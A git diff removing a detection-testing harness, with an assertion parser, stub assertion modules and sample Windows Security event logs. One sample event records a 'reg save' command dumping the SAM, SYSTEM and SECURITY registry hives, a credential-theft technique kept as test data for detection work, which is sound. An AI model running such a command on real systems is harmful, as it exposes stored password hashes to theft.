--- a/bin/ssa-end-to-end-testing/modules/assertions/application/assertions.py +++ /dev/null @@ -1,5 +0,0 @@ -# Add your custom assertion functions for `application` tests in this file - - -def dummy_application_func(output=list()): - return True diff --git a/bin/ssa-end-to-end-testing/modules/assertions/assertions_parser.py b/bin/ssa-end-to-end-testing/modules/assertions/assertions_parser.py deleted file mode 100644 index d60cf79c08..0000000000 --- a/bin/ssa-end-to-end-testing/modules/assertions/assertions_parser.py +++ /dev/null @@ -1,96 +0,0 @@ -from sly import Lexer, Parser -import modules.assertions.global_assertions - - -class AssertionLexer(Lexer): - tokens = {FUNC, NUMBER, STRING, AND, OR, XOR, NOT, LPAR, RPAR, ARG} - ignore = ' \t' - literals = {'&', '|', '^', '!', '(', ')'} - - @_(r'\((\s*("[^"]*"|\'[^\']*\'|\d+)\s*,?)+\)') - def ARG(self, t): - arguments = t.value[1:-1].split(",") - args = [] - for a in arguments: - a = a.strip() - if a.isnumeric: - args.append(float(a)) - else: - args.append(a) - t.value = args - return t - - AND = r'\&' - OR = r'\|' - XOR = r'\^' - NOT = r'\!' - LPAR = r'\(' - RPAR = r'\)' - FUNC = r'@[a-zA-Z0-9_]+' - STRING = r'("[^"]*"|\'[^\']*\')' - NUMBER = r'\d+' - - -class AssertionParser(Parser): - tokens = AssertionLexer.tokens - - precedence = ( - ('left', AND, OR, XOR), - ('right', NOT) - ) - - def __init__(self, events): - self.names = {} - self.events = events - - @_('FUNC ARG') - def expr(self, p): - f = getattr(modules.assertions.global_assertions, p.FUNC[1:]) - return f(output=self.events, *p.ARG) - - @_('FUNC LPAR RPAR') - def expr(self, p): - return "%s()" % p.FUNC - - @_('expr AND expr') - def expr(self, p): - return p.expr0 and p.expr1 - - @_('expr OR expr') - def expr(self, p): - return p.expr0 or p.expr1 - - @_('expr XOR expr') - def expr(self, p): - return p.expr0 != p.expr1 - - @_('NOT expr') - def expr(self, p): - return not p.expr - - @_('LPAR expr RPAR') - def expr(self, p): - return p.expr - - @_('NUMBER') - def expr(self, p): - return int(p.NUMBER) - - @_('STRING') - def expr(self, p): - return p.STRING - - @_('ARG') - def expr(self, p): - return p.ARG - - -if __name__ == '__main__': - lexer = AssertionLexer() - parser = AssertionParser([1, 2, 3]) - - code = "@count_gt(0) & (@count_lt(5))" - for tok in lexer.tokenize(code): - print('type=%r, value=%r' % (tok.type, tok.value)) - res = parser.parse(lexer.tokenize(code)) - print(res) diff --git a/bin/ssa-end-to-end-testing/modules/assertions/cloud/assertions.py b/bin/ssa-end-to-end-testing/modules/assertions/cloud/assertions.py deleted file mode 100644 index ff97900842..0000000000 --- a/bin/ssa-end-to-end-testing/modules/assertions/cloud/assertions.py +++ /dev/null @@ -1,5 +0,0 @@ -# Add your custom assertion functions for `cloud` tests in this file - - -def dummy_cloud_func(output=[]): - return True diff --git a/bin/ssa-end-to-end-testing/modules/assertions/endpoint/assertions.py b/bin/ssa-end-to-end-testing/modules/assertions/endpoint/assertions.py deleted file mode 100644 index 7338bf03ea..0000000000 --- a/bin/ssa-end-to-end-testing/modules/assertions/endpoint/assertions.py +++ /dev/null @@ -1,5 +0,0 @@ -# Add your custom assertion functions for `endpoint` tests in this file - - -def dummy_endpoint_func(output=[]): - return True diff --git a/bin/ssa-end-to-end-testing/modules/assertions/global_assertions.py b/bin/ssa-end-to-end-testing/modules/assertions/global_assertions.py deleted file mode 100644 index 775cdda2ba..0000000000 --- a/bin/ssa-end-to-end-testing/modules/assertions/global_assertions.py +++ /dev/null @@ -1,32 +0,0 @@ -# Do not remove these imports that appear unused. -# Functions in this modules are discovered by the assertion_parser through `getattr` - -from modules.assertions.application.assertions import * -from modules.assertions.cloud.assertions import * -from modules.assertions.endpoint.assertions import * -from modules.assertions.network.assertions import * -from modules.assertions.web.assertions import * - - -def count_eq(n, output=[]): - return len(output) == n - - -def count_lt(n, output=[]): - return len(output) < n - - -def count_gt(n, output=[]): - return len(output) > n - - -def count_lte(n, output=[]): - return count_eq(n, output) or count_lt(n, output) - - -def count_gte(n, output=[]): - return count_eq(n, output) or count_gt(n, output) - - -def count_not(n, output=[]): - return count_lt(n, output) or count_gt(n, output) diff --git a/bin/ssa-end-to-end-testing/modules/assertions/network/assertions.py b/bin/ssa-end-to-end-testing/modules/assertions/network/assertions.py deleted file mode 100644 index 384d4606a0..0000000000 --- a/bin/ssa-end-to-end-testing/modules/assertions/network/assertions.py +++ /dev/null @@ -1,5 +0,0 @@ -# Add your custom assertion functions for `network` tests in this file - - -def dummy_network_func(output=[]): - return True diff --git a/bin/ssa-end-to-end-testing/modules/assertions/web/assertions.py b/bin/ssa-end-to-end-testing/modules/assertions/web/assertions.py deleted file mode 100644 index fb95cc3b85..0000000000 --- a/bin/ssa-end-to-end-testing/modules/assertions/web/assertions.py +++ /dev/null @@ -1,5 +0,0 @@ -# Add your custom assertion functions for `web` tests in this file - - -def dummy_web_func(output=[]): - return True diff --git a/bin/ssa-end-to-end-testing/modules/data/example.txt b/bin/ssa-end-to-end-testing/modules/data/example.txt deleted file mode 100644 index 3d7717e663..0000000000 --- a/bin/ssa-end-to-end-testing/modules/data/example.txt +++ /dev/null @@ -1,41 +0,0 @@ -03/12/2021 01:19:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-5236904.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=540110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\SuperUser01 - Account Name: SuperUser01 - Account Domain: ATTACKRANGE - Logon ID: 0x1DB69D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd4c - New Process Name: C:\Windows\system32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc88 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "reg save HKLM\sam %temp%\sam & reg save HKLM\system %temp%\system & reg save HKLM\Security %temp%\security" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 3 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. diff --git a/bin/ssa-end-to-end-testing/modules/data/windows-security.txt b/bin/ssa-end-to-end-testing/modules/data/windows-security.txt deleted file mode 100644 index 7c251976c5..0000000000 --- a/bin/ssa-end-to-end-testing/modules/data/windows-security.txt +++ /dev/null @@ -1,514400 +0,0 @@ -03/11/2021 11:14:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245004 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1bc - New Process Name: C:\Windows\System32\autochk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x194 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:14:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245003 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x194 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x4 - Creator Process Name: - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:14:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4826 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Other Policy Change Events -OpCode=Info -RecordNumber=245002 -Keywords=Audit Success -Message=Boot Configuration Data loaded. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -General Settings: - Load Options: - - Advanced Options: No - Configuration Access Policy: Default - System Event Logging: No - Kernel Debugging: No - VSM Launch Type: Off - -Signature Settings: - Test Signing: No - Flight Signing: No - Disable Integrity Checks: No - -HyperVisor Settings: - HyperVisor Load Options: - - HyperVisor Launch Type: Off - HyperVisor Debugging: No -03/11/2021 11:14:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245005 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1e8 - New Process Name: C:\Windows\System32\setupcl.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x194 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245007 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x20c - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x204 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245006 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x204 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x194 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245013 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\Windows\System32\lsass.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x264 - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245012 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2cc - New Process Name: C:\Windows\System32\services.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x264 - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245011 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x29c - New Process Name: C:\Windows\System32\winlogon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x248 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245010 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x264 - New Process Name: C:\Windows\System32\wininit.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x204 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245009 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x250 - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x248 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245008 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x248 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x194 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:15:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245020 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:15:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245019 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: NETWORK SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245018 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:15:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245017 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4902 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245016 -Keywords=Audit Success -Message=The Per-user audit policy table was created. - -Number of Elements: 0 -Policy ID: 0x52C94 -03/11/2021 11:15:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245015 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 0 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: - - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x4 - Process Name: - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: - - Authentication Package: - - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4608 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245014 -Keywords=Audit Success -Message=Windows is starting up. - -This event is logged when LSASS.EXE starts and the auditing subsystem is initialized. -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon 